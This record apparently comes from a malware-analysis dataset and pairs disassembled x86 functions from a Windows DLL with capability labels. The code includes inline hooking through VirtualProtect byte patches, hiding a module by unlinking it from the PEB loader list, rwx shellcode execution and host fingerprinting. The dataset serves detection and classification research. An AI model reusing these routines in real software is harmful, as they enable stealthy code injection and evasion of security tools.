joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10018e00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10081561
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x100b400c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x100c1b2c]
test eax, eax
jne 0x10018f9d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b6288]
movaps xmm0, xmmword [0x100a4af0]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0xabaecd85
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x750]
test al, 1
jne 0x10018ebc
or eax, 1
mov dword [esi + 0x750], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3ee8], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x3ed4], al
add ecx, 1
adc edx, 0
jne 0x10018ea8
cmp ecx, 0x14
jb 0x10018e90
push 0x10092020
call fcn.1007e9d6
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x3ed4]
mov ecx, edi
call fcn.10077e90
mov eax, dword [esi + 0x2428]
mov dword [ebp - 0x1c], 0xe285e8b6
mov dword [ebp - 0x18], 0x73359a83
mov dword [ebp - 0x14], 0xaba7cd85
test al, 1
jne 0x10018f3c
or eax, 1
mov dword [esi + 0x2428], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x580], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x574], al
add ecx, 1
adc edx, 0
jne 0x10018f28
cmp ecx, 0xc
jb 0x10018f10
push 0x10092070
call fcn.1007e9d6
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x574]
mov ecx, esi
call fcn.10077ef0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10018f96
push 7
call fcn.1007e92d
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10018f98
xor eax, eax
mov dword [0x100c1b2c], eax
push ebx
mov dword [0x100bca78], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007dff9
mov esp, ebp
pop ebp
ret
Function at 0x10018fd0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x100b400c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0
mov edi, edx
mov dword [ebp - 0x30], ecx
push 4
mov dword [ebp - 0x2c], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
test ebx, ebx
jne 0x1001900c
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007dff9
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x1c
xorps xmm0, xmm0
push eax
push ebx
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
movlpd qword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_Thread32First]
mov esi, eax
test esi, esi
je 0x10019114
nop dword [eax + eax]
cmp dword [ebp - 0x1c], edi
jne 0x1001912e
push dword [ebp - 0x20]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
mov dword [ebp - 0x34], edi
test edi, edi
je 0x10019109
push str.NtQueryInformationThread
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x100190d0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
push 0x40
lea ecx, [ebp - 0xc]
push ecx
push eax
push edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x100190ac
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x100190d0
push 0
push 4
lea eax, [ebp - 8]
push eax
push 9
push dword [ebp - 0xc]
call esi
push dword [ebp - 0xc]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
xor ecx, ecx
test esi, esi
cmovne eax, ecx
cmp eax, dword [ebp - 0x30]
jne 0x100190fc
mov eax, dword [0x100bff90]
cmp eax, dword [0x100bff94]
je 0x100190ed
mov dword [eax], edi
add dword [0x100bff90], 4
jmp 0x100190fc
lea ecx, [ebp - 0x34]
push ecx
push eax
mov ecx, 0x100bff8c
call fcn.1007c990
lea eax, [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
mov esi, eax
mov edi, dword [ebp - 0x2c]
test esi, esi
jne 0x10019040
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.1007dff9
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
mov esi, eax
jmp 0x1001910c
Function at 0x100248c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b400c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x100bef84], 0
push esi
push edi
jle 0x1002492a
mov ecx, dword [0x100bb74c]
mov eax, dword [0x100b72b8]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x1002492a
mov ecx, dword [0x100bb74c]
mov eax, dword [0x100b72b8]
add eax, 0x15c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002496a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x1002495e
mov ecx, dword [0x100bb74c]
mov eax, dword [0x100b72b8]
add eax, 0x15c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002496a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x68
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1007dff9
mov esp, ebp
pop ebp
ret
Function at 0x10025470
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b400c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x100bb74c]
mov eax, dword [0x100b72b8]
push esi
push edi
mov edx, dword [ecx]
add eax, 0x1c
push eax
call dword [edx + 4]
mov ecx, dword [0x100bb74c]
cmp dword [eax], 0
mov edx, dword [ecx]
mov eax, dword [0x100b72b8]
je 0x100254da
add eax, 0x168
cmp dword [0x100bc3c0], 0
push eax
je 0x100254e0
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002550d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x10025501
add eax, 0x168
push eax
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1002550d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x6a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1007dff9
mov esp, ebp
pop ebp
ret

Function at 0x10025bf0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x100bf82c], 0
jne 0x10025c53
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x100a3df4]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x10025c23
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x10025c06
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x100bf82c], 1
mov dword [0x100bcf30], eax
add eax, 0x18
mov dword [0x100bbe50], eax
mov esp, ebp
pop ebp
ret
Function at 0x1002b740
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100b400c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x100bb74c]
push ebx
push esi
push edi
mov eax, dword [ecx]
push 0x100bc3b4
call dword [eax + 4]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, fcn.1000b3a0
mov eax, dword [eax]
mov dword [0x100bbd50], eax
lea edi, [eax + 0x3c]
cmp edi, 0x1000
jbe 0x1002b7aa
cmp ebx, 0x1000
jbe 0x1002b7aa
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bbd50]
lea edi, [eax + 0x40]
cmp edi, 0x1000
jbe 0x1002b7df
cmp ebx, 0x1000
jbe 0x1002b7df
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bbd50]
lea edi, [eax + 0x44]
cmp edi, 0x1000
jbe 0x1002b814
cmp ebx, 0x1000
jbe 0x1002b814
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bbd50]
lea edi, [eax + 0x48]
cmp edi, 0x1000
jbe 0x1002b849
cmp ebx, 0x1000
jbe 0x1002b849
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bbd50]
lea edi, [eax + 0x4c]
cmp edi, 0x1000
jbe 0x1002b87e
cmp ebx, 0x1000
jbe 0x1002b87e
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bbd50]
lea edi, [eax + 0x50]
cmp edi, 0x1000
jbe 0x1002b8b3
cmp ebx, 0x1000
jbe 0x1002b8b3
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bbd50]
lea edi, [eax + 0x54]
cmp edi, 0x1000
jbe 0x1002b8e8
cmp ebx, 0x1000
jbe 0x1002b8e8
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bbd50]
lea edi, [eax + 0x58]
cmp edi, 0x1000
jbe 0x1002b91d
cmp ebx, 0x1000
jbe 0x1002b91d
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], fcn.1000b3a0
push eax
push dword [ebp - 8]
push 4
push edi
call esi
mov eax, dword [0x100bbd50]
cmp dword [0x100bbb74], 0
jne 0x1002b966
lea edi, [eax + 0x34]
cmp edi, 0x1000
jbe 0x1002b95e
mov eax, 0x1002a250
cmp eax, 0x1000
jbe 0x1002b95e
mov ebx, dword [edi]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push edi
call esi
lea eax, [ebp - 0xc]
mov dword [edi], 0x1002a250
push eax
push dword [ebp - 8]
push 4
push edi
call esi
jmp 0x1002b960
xor ebx, ebx
mov dword [0x100bbb74], ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007dff9
mov esp, ebp
pop ebp
ret
Function at 0x1002cb50
Capabilities:
Get hostname

Disassembly:
push 0x100b4468
push 0x100bc8c4
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.1002ca60
cmp eax, 1
jne 0x1002cb7c
push str.Win_XP
push 0x100b7670
call fcn.10008c40
add esp, 8
call fcn.1002ca60
cmp eax, 2
jne 0x1002cb98
push str.Win_Vista
push 0x100b7670
call fcn.10008c40
add esp, 8
call fcn.1002ca60
cmp eax, 3
jne 0x1002cbb4
push str.Win_7
push 0x100b7670
call fcn.10008c40
add esp, 8
call fcn.1002ca60
cmp eax, 4
jne 0x1002cbd0
push str.Win_8
push 0x100b7670
call fcn.10008c40
add esp, 8
call fcn.1002ca60
cmp eax, 5
jne 0x1002cbec
push str.Wi_10
push 0x100b7670
call fcn.10008c40
add esp, 8
ret
Function at 0x1002fbe0
Capabilities:
Get disk information

Disassembly:
push esi
push 0x64
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov esi, eax
push 0xff
push 0x100bbbc8
push 0x100bb728
push 0x100b73e8
push 0x100bb0ac
push 0xff
push 0x100bfad0
push 0x100a4034
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x100bb0ac]
mov eax, ecx
shl eax, 5
add eax, ecx
push eax
imul eax, ecx, 0x19
push eax
push str._2x_2x
push esi
call fcn.10008c40
add esp, 0x10
mov eax, esi
pop esi
ret
Function at 0x10066ec0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100b400c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x10066f5e
cmp esi, 0x1000
jbe 0x10066f3a
cmp edi, 0x1000
jbe 0x10066f3a
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10017f40
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x10066fca
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.10017f40
add esp, 4
cmp esi, 0x1000
jbe 0x10066fcd
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x10066fca
cmp esi, 0x1000
jbe 0x10066fa8
cmp edi, 0x1000
jbe 0x10066fa8
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10017f40
add esp, 4
jmp 0x10066fc2
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.10017f40
add esp, 4
cmp esi, 0x1000
jbe 0x10066fcd
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x10066fe4
cmp al, 0x6a
je 0x10066fe4
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10066ee0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007dff9
mov esp, ebp
pop ebp
ret
Function at 0x10068130
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100b400c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10068232
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x100681b7
cmp ecx, edi
jne 0x100681ae
mov edx, dword [eax + 4]
test edx, edx
je 0x1006817c
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x1006817c
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x10068188
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x10068195
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x100681ae
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x100681ae
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10068161
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10047120
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10067440
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.1007dff9
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100687e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x1006880c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x1006882e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10068830
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x100688b5
jg 0x10068845
test esi, esi
je 0x100688b5
test ecx, ecx
jl 0x10068898
jg 0x1006884f
test eax, eax
je 0x10068898
cmp edi, ecx
jg 0x10068863
jl 0x10068859
cmp esi, eax
jae 0x10068863
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x100688b5
jg 0x1006889b
test esi, esi
je 0x100688b5
jmp 0x1006889b
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x100688b5
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100688d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x100688fc
jl 0x100688f0
test esi, esi
jne 0x100688fc
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x10068915
push eax
push esi
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov edx, dword [eax]
test edx, edx
je 0x1006894f
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x1006894f
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 4], esi
add esp, 0xc
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
mov edx, edi
je 0x100689d0
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x10068978
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov edx, edi
mov ecx, dword [ebp - 4]
cmp edi, 0xfff
jbe 0x100689bc
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp - 4]
sub edi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x100689e3
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x10068990
test edx, edx
je 0x100689d0
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, edi
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10068d40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100b400c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10068d70
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007dff9
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x10068da0
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x10068da0
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007dff9
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x10068e76
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x10068dc9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x10068dd5
movsx eax, bl
jmp 0x10068e0d
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x10068e37
sub eax, 1
je 0x10068e37
sub eax, 2
jne 0x10068e76
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007dff9
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10068e55
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x10068e76
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x10068e76
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007dff9
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007dff9
mov esp, ebp
pop ebp
ret 4